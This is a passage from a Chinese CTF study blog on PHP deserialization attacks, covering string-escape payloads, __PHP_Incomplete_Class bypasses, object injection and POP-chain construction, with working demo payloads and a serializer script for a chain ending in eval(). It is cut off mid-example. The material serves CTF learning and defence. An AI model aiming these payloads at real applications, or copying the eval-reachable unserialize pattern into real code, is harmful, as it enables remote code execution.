class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">test</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$a</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$b</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;a = <span class="string">&#x27;abc&#x27;</span>;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;b= &amp;<span class="variable language_">$this</span>-&gt;a;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span>  <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(<span class="variable language_">$this</span>-&gt;a===<span class="variable language_">$this</span>-&gt;b)&#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="number">666</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="title function_ invoke__">serialize</span>(<span class="keyword">new</span> <span class="title function_ invoke__">test</span>());</span><br></pre></td></tr></table></figure></div><p>上面这个例子将 <code>$b</code>  设置为 <code>$a</code>  的引用，可以使 <code>$a</code>  永远与 <code>$b</code>  相等</p><h4 id="php反序列化字符逃逸"><a class="markdownIt-Anchor" href="#php反序列化字符逃逸">#</a> php 反序列化字符逃逸</h4><h5 id="情况一过滤后字符过多"><a class="markdownIt-Anchor" href="#情况一过滤后字符过多">#</a> 情况一：过滤后字符过多</h5><p>例如以下情形：</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">change</span>(<span class="params"><span class="variable">$str</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">str_replace</span>(<span class="string">&quot;x&quot;</span>,<span class="string">&quot;xx&quot;</span>,<span class="variable">$str</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$name</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"><span class="variable">$age</span> = <span class="string">&quot;I am 11&quot;</span>;</span><br><span class="line"><span class="variable">$arr</span> = <span class="keyword">array</span>(<span class="variable">$name</span>,<span class="variable">$age</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;反序列化字符串：&quot;</span>;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$arr</span>));</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;br/&gt;&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;过滤后:&quot;</span>;</span><br><span class="line"><span class="variable">$old</span> = <span class="title function_ invoke__">change</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$arr</span>));</span><br><span class="line"><span class="variable">$new</span> = <span class="title function_ invoke__">unserialize</span>(<span class="variable">$old</span>);</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$new</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;br/&gt;此时，age=<span class="subst">$new</span>[1]&quot;</span>;</span><br></pre></td></tr></table></figure></div><p>正常情况，传入 <code>name=mao</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/09/394sFvRJkYWAglS.png" alt="image.png"></p><p>如果此时多传入一个 x 的话会怎样，毫无疑问反序列化失败，由于溢出 (s 本来是 4 结果多了一个字符出来)，我们可以利用这一点实现字符串逃逸</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/09/im4EPGFUnTDd52o.png" alt="image.png"></p><p>那我们传入 <code>name=maoxxxxxxxxxxxxxxxxxxxx&quot;;i:1;s:6:&quot;woaini&quot;;&#125;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/09/Amz5WT7IJGrwKL3.png" alt="image.png"></p><p>传入 <code>name=maoxxxxxxxxxxxxxxxxxxxx&quot;;i:1;s:6:&quot;woaini&quot;;&#125;</code> <br> <code>&quot;;i:1;s:6:&quot;woaini&quot;;&#125;</code>  这一部分一共二十个字符<br>由于一个 x 会被替换为两个，我们输入了一共 20 个 x，现在是 40 个，多出来的 20 个 x 其实取代了我们的这二十个字符 <code>&quot;;i:1;s:6:&quot;woaini&quot;;&#125;</code> ，从而造成 <code>&quot;;i:1;s:6:&quot;woaini&quot;;&#125;</code>  的溢出，而 &quot; 闭合了前串，使得我们的字符串成功逃逸，可以被反序列化，输出 <code>woaini</code> <br> 最后的；} 闭合反序列化全过程导致原来的 <code>&quot;;i:1;s:7:&quot;I am 11&quot;;&#125;&quot;</code>  被舍弃，不影响反序列化过程</p><h5 id="情况二过滤后字符变少"><a class="markdownIt-Anchor" href="#情况二过滤后字符变少">#</a> 情况二：过滤后字符变少</h5><p>例如：</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">change</span>(<span class="params"><span class="variable">$str</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">str_replace</span>(<span class="string">&quot;xx&quot;</span>,<span class="string">&quot;x&quot;</span>,<span class="variable">$str</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$arr</span>[<span class="string">&#x27;name&#x27;</span>] = <span class="variable">$_GET</span>[<span class="string">&#x27;name&#x27;</span>];</span><br><span class="line"><span class="variable">$arr</span>[<span class="string">&#x27;age&#x27;</span>] = <span class="variable">$_GET</span>[<span class="string">&#x27;age&#x27;</span>];</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;反序列化字符串：&quot;</span>;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$arr</span>));</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;br/&gt;&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;过滤后:&quot;</span>;</span><br><span class="line"><span class="variable">$old</span> = <span class="title function_ invoke__">change</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$arr</span>));</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$old</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;br/&gt;&quot;</span>;</span><br><span class="line"><span class="variable">$new</span> = <span class="title function_ invoke__">unserialize</span>(<span class="variable">$old</span>);</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="variable">$new</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;&lt;br/&gt;此时，age=&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$new</span>[<span class="string">&#x27;age&#x27;</span>];</span><br></pre></td></tr></table></figure></div><p>正常情况传入 <code>name=mao&amp;age=11</code>  的结果</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/09/S8lKoWxiAdyDfna.png" alt="image.png"></p><p>构造一下</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/09/wrXv7GNB41Amlug.png" alt="image.png"></p><p>简单来说，就是前面少了一半，导致后面的字符被吃掉，从而执行了我们后面的代码；<br>我们来看，这部分是 age 序列化后的结果</p><p>s:3:“age”;s:28:“11”;s:3:“age”;s:6:“woaini”;}&quot;</p><p>由于前面是 40 个 x 所以导致少了 20 个字符，所以需要后面来补上， <code>&quot;;s:3:&quot;age&quot;;s:28:&quot;</code> 11 这一部分刚好 20 个，后面由于有&quot; 闭合了前面因此后面的参数就可以由我们自定义执行了</p><h4 id="利用不完整类绕过序列化回旋镖"><a class="markdownIt-Anchor" href="#利用不完整类绕过序列化回旋镖">#</a> 利用不完整类绕过序列化回旋镖</h4><p>当存在  <code>serialize(unserialize($x)) != $x</code>  这种很神奇的东西时，我们可以利用不完整类  <code>__PHP_Incomplete_Class</code>  来进行处理</p><p>当我们尝试反序列化到一个不存在的类是，PHP 会使用  <code>__PHP_Incomplete_Class_Name</code>  这个追加的字段来进行存储</p><p>我们于是可以尝试自己构造一个不完整类</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$raw</span> = <span class="string">&#x27;O:1:&quot;A&quot;:2:&#123;s:1:&quot;a&quot;;s:1:&quot;b&quot;;s:27:&quot;__PHP_Incomplete_Class_Name&quot;;s:1:&quot;F&quot;;&#125;&#x27;</span>;</span><br><span class="line"><span class="variable">$exp</span> = <span class="string">&#x27;O:1:&quot;F&quot;:1:&#123;s:1:&quot;a&quot;;s:1:&quot;b&quot;;&#125;&#x27;</span>;</span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">serialize</span>(<span class="title function_ invoke__">unserialize</span>(<span class="variable">$raw</span>)) == <span class="variable">$exp</span>); <span class="comment">// true</span></span><br></pre></td></tr></table></figure></div><p>这样就可以绕过了</p><p>更近一步，我们可以通过这个让一个对象被调用后凭空消失，只需要手动构造无 <code>__PHP_Incomplete_Class_Name</code>  的不完整对象</p><h5 id="serialize-函数在处理__php_incomplete_class对象时所进行的特殊操作"><a class="markdownIt-Anchor" href="#serialize-函数在处理__php_incomplete_class对象时所进行的特殊操作">#</a> serialize () 函数在处理 <code>__PHP_Incomplete_Class</code>  对象时所进行的特殊操作</h5><p>unserialize () 在发现当前 PHP 上下文中没有包含相关类的类定义时将创建一个  <code>__PHP_Incomplete_Class</code>  对象。而 serialize () 在发现需要进行序列化的对象是  <code>__PHP_Incomplete_Class</code>  后，将对其进行 特殊处理 以得到描述实际对象而非  <code>__PHP_Incomplete_Class</code>  对象的序列化文本，而这里就包含了 将属性的描述值减一 这一步。<br>那么对象所属类的名称是否会发生替换，序列化文本中的  <code>__PHP_Incomplete_Class_Name</code>  是否会被自动删除以使得序列化文本中的属性个数描述值与实际相符呢？对此，请参考如下示例：</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">var_dump</span>(<span class="title function_ invoke__">serialize</span>(<span class="title function_ invoke__">unserialize</span>(<span class="string">&#x27;O:22:&quot;__PHP_Incomplete_Class&quot;:3:&#123;s:27:&quot;__PHP_Incomplete_Class_Name&quot;;s:7:&quot;MyClass&quot;;s:4:&quot;name&quot;;s:8:&quot;RedHeart&quot;;s:6:&quot;nation&quot;;s:5:&quot;China&quot;;&#125;&#x27;</span>)));</span><br></pre></td></tr></table></figure></div><p>执行结果</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">string</span>(<span class="number">69</span>) <span class="string">&quot;O:7:&quot;</span>MyClass<span class="string">&quot;:2:&#123;s:4:&quot;</span>name<span class="string">&quot;;s:8:&quot;</span>RedHeart<span class="string">&quot;;s:6:&quot;</span>nation<span class="string">&quot;;s:5:&quot;</span>China<span class="string">&quot;;&#125;&quot;</span></span><br></pre></td></tr></table></figure></div><p>结合前面观察到的种种现象，我们可以总结出 serialize () 函数对 __PHP_Incomplete_Class 对象执行了如下 特殊操作（操作描述顺序并非 serialize 函数的实际操作顺序）：</p><p>将 <code> __PHP_Incomplete_Class</code>  对象中的 属性个数减一 并将其作为序列化文本中 对实际对象属性个数的描述值。<br>将  <code>__PHP_Incomplete_Class</code>  对象的 <code> __PHP_Incomplete_Class_Name</code>  作为序列化文本中 对象所属类的描述值。若未从  <code>__PHP_Incomplete_Class </code> 对象 中检查到  <code>__PHP_Incomplete_Class_Name</code>  属性，则跳过此步。<br>将  <code>__PHP_Incomplete_Class </code> 对象的序列化文本中对  <code>__PHP_Incomplete_Class_Name </code> 属性的描述删去。若没有发现相关描述，则跳过此步。</p><p>关于 <code>__PHP_Incomplete_Class</code>  更详细的介绍 &lt;<a class="link" href="https://blog.csdn.net/qq_44879989/article/details/133486308">PHP 反序列化漏洞：__PHP_Incomplete_Class 与 serialize (unserialize ($x)) !== $x <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>&gt;</p><h4 id="对象注入"><a class="markdownIt-Anchor" href="#对象注入">#</a> 对象注入</h4><p>当用户的请求在传给反序列化函数 <code>unserialize()</code>  之前没有被正确的过滤时就会产生漏洞。因为 PHP 允许对象序列化，攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的 <code>unserialize</code>  函数，最终导致一个在该应用范围内的任意 PHP 对象注入。</p><p><strong>对象漏洞</strong>出现得满足两个前提</p><blockquote><p>1、 <code>unserialize</code>  的参数可控。<br>2、 代码里有定义一个含有魔术方法的类，并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。</p></blockquote><p>比如：</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span></span>&#123;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable">$test</span> = <span class="string">&quot;y4mao&quot;</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable language_">$this</span>-&gt;test;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="string">&#x27;O:1:&quot;A&quot;:1:&#123;s:4:&quot;test&quot;;s:5:&quot;maomi&quot;;&#125;&#x27;</span>;</span><br><span class="line"><span class="title function_ invoke__">unserialize</span>(<span class="variable">$a</span>);</span><br></pre></td></tr></table></figure></div><p>在脚本运行结束后便会调用 <code>_destruct</code>  函数，同时会覆盖 test 变量输出 <code>maomi</code></p><h3 id="pop"><a class="markdownIt-Anchor" href="#pop">#</a> POP</h3><h4 id="魔法函数"><a class="markdownIt-Anchor" href="#魔法函数">#</a> ———— 魔法函数 ———</h4><p>我需要再次提出魔法函数并且需要细致的解释供我更加深刻的理解</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">__wakeup() //执行unserialize()时，先会调用这个函数</span><br><span class="line">__sleep() //执行serialize()时，先会调用这个函数</span><br><span class="line">__construct() //构造函数, 在对应对象实例化时自动被调用. #子类中的构造函数不会隐式调用父类的构造函数.在 PHP 8 以前, 与类名同名的方法可以作为 __constuct 调用但 __construct 方法优先</span><br><span class="line">__destruct() //对象被销毁时触发（对象不再被引用（unset），脚本执行结束）（当存在__destruct时，头一般是他）</span><br><span class="line">__call() //在对象上下文中调用不可访问的方法时触发</span><br><span class="line">__callStatic() //在静态上下文中调用不可访问的方法时触发</span><br><span class="line">__get() //用于从不可访问的属性读取数据（比如访问private属性或者不存在的属性的值时）或者不存在这个键（$this-&gt;str[&#x27;str&#x27;]-&gt;source）都会调用此方法</span><br><span class="line">__set() //用于将数据写入不可访问的属性</span><br><span class="line">__isset() //在不可访问的属性上调用isset()或empty()触发</span><br><span class="line">__unset() //在不可访问的属性上使用unset()时触发</span><br><span class="line">__toString() //把类当作字符串使用时触发（输出一个对象、属性，将对象或属性与字符串拼接，对对象或属性进行正则匹配）</span><br><span class="line">__invoke() //当尝试将对象（属性）调用为函数时触发</span><br><span class="line">__debugInfo() //在使用 var_dump, print_r 时会被调用</span><br><span class="line">__set_state()   // 调用var_export()导出类时，此静态方法会被调用</span><br><span class="line">__clone()       // 当对象复制完成时调用</span><br><span class="line">__autoload()    // 尝试加载未定义的类</span><br></pre></td></tr></table></figure></div><p>会发现，我在很多魔法函数的触发方式的解释中对象后面都加了（属性），这与 php 官方手册和其他博客文章的解释有些许不同，在查找资料时产生了很多疑惑，比如我翻阅的其中一篇博客：</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/10/4YHGV9zljdy67vL.png" alt="5fd161f2f08ca123a0c6ccd8f4cc17cd.png"></p><p>原文说此处触发了 <code>__toString</code>  函数，可明明只是将属性当作字符串，</p><p>再比如同一篇文章的另一处：</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/10/Ktx4MPXFmGnZ7cS.png" alt="28258fc1d508554e89f8f7d99d3855b1.png"></p><p>触发了 <code>__invoke</code>  函数</p><p>在与小伙伴讨论之后，认为可以将属性看作对象</p><p>在弄清楚各种魔法函数触发条件之后就要开始构建 pop 链了</p><h4 id="pop链"><a class="markdownIt-Anchor" href="#pop链">#</a> POP 链</h4><p>POP 链构造首先就是要找到头和尾，也就是用户能传入参数的地方（头）和最终要执行函数方法的地方（尾）。找到头尾之后进行反推过程，从尾部开始一步步找到能触发上一步的地方，直到找到传参处，此时完整的 POP 链就显而易见了。CTF 赛中一般尾部就是 get flag 的方法，头部则是 GET/POST 传参</p><p>举个例子：</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Hello</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$source</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$str</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"><span class="variable">$name</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;str=<span class="variable">$name</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) // 1. <span class="title">destruct</span>函数为<span class="title">pop</span>链头</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;source=<span class="variable language_">$this</span>-&gt;str;</span><br><span class="line">        <span class="keyword">echo</span> <span class="variable language_">$this</span>-&gt;source; <span class="comment">//输出变量，把类当作字符串，触发__toString</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Show</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$source</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$str</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__toString</span>(<span class="params"></span>) // 2</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="variable">$content</span> = <span class="variable language_">$this</span>-&gt;str[<span class="string">&#x27;str&#x27;</span>]-&gt;source; <span class="comment">//访问不存在的属性，触发_get</span></span><br><span class="line">        <span class="keyword">return</span> <span class="variable">$content</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Uwant</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$params</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="variable language_">$this</span>-&gt;params=<span class="string">&#x27;phpinfo();&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__get</span>(<span class="params"><span class="variable">$key</span></span>)</span>&#123; <span class="comment">// 3 </span></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">$this</span>-&gt;<span class="title function_ invoke__">getshell</span>(<span class="variable">$this</span>-&gt;params); <span class="comment">//直接调用getshell</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">getshell</span>(<span class="params"><span class="variable">$value</span></span>)  // 4</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">eval</span>(<span class="variable language_">$this</span>-&gt;params); <span class="comment">//尾，输出</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]; <span class="comment">//GET传参头</span></span><br><span class="line"><span class="title function_ invoke__">unserialize</span>(<span class="variable">$a</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></div><p>先找链子的头和尾，头部明显是 GET 传参，尾部是 <code>Uwant</code>  类中的 <code>getshell</code> ，然后往上倒推， <code>Uwant</code>  类中的 <code>__get()</code>  中调用了 <code>getshell</code> ， <code>Show</code>  类中的 <code>toString</code>  调用了 <code>__get()</code> ，然后 <code>Hello</code>  类中的 <code>__destruct()</code> ，而我们 GET 传参之后会先进入 <code>__destruct()</code> ，这样子头和尾就连上了，所以说完整的链子就是：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">头 -&gt; Hello::__destruct() -&gt; Show::__toString() -&gt; Uwant::__get() -&gt; Uwant::getshell -&gt; 尾</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Hello</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$source</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$str</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Show</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$source</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$str</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Uwant</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$params</span>=<span class="string">&#x27;phpinfo();&#x27;</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="variable">$a</span> = <span class="keyword">new</span> <span class="title class_">Hello</span>();</span><br><span class="line"><span class="variable">$b</span> = <span class="keyword">new</span> <span class="title class_">Show</span>();</span><br><span class="line"><span class="variable">$c</span> = <span class="keyword">new</span> <span class="title class_">Uwant</span>();</span><br><span class="line"><span class="variable">$a</span> -&gt; str = <span class="variable">$b</span>;</span><br><span class="line"><span class="variable">$b</span> -&gt; str[<span class="string">&#x27;str&#x27;</span>] = <span class="variable">$c</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">urlencode</span>(<span class="title function_ invoke__">serialize</span>(<span class="variable">$a</span>));</span><br></pre></td></tr></table></figure></div><h4 id="例题"><a class="markdownIt-Anchor" href="#例题">#</a> 例题</h4><h5 id="newstarctf-2023-week3-pop-gadget"><a class="markdownIt-Anchor" href="#newstarctf-2023-week3-pop-gadget">#</a> newstarctf 2023 week3 | POP Gadget</h5><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br></pre></td><td class="code"><pre><span class="line"> <span class="meta">&lt;?php</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Begin</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$name</span>;</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__destruct</span>(<span class="params"></span>) //对象被销毁时触发</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">&quot;/[a-zA-Z0-9]/&quot;</span>,<span class="variable">$this</span>-&gt;name))&#123;</span><br><span class="line">            <span class="keyword">echo</span> <span class="string">&quot;Hello&quot;</span>; <span class="comment">//将对象当作字符串，可以触发__toString</span></span><br><span class="line">        &#125;<span 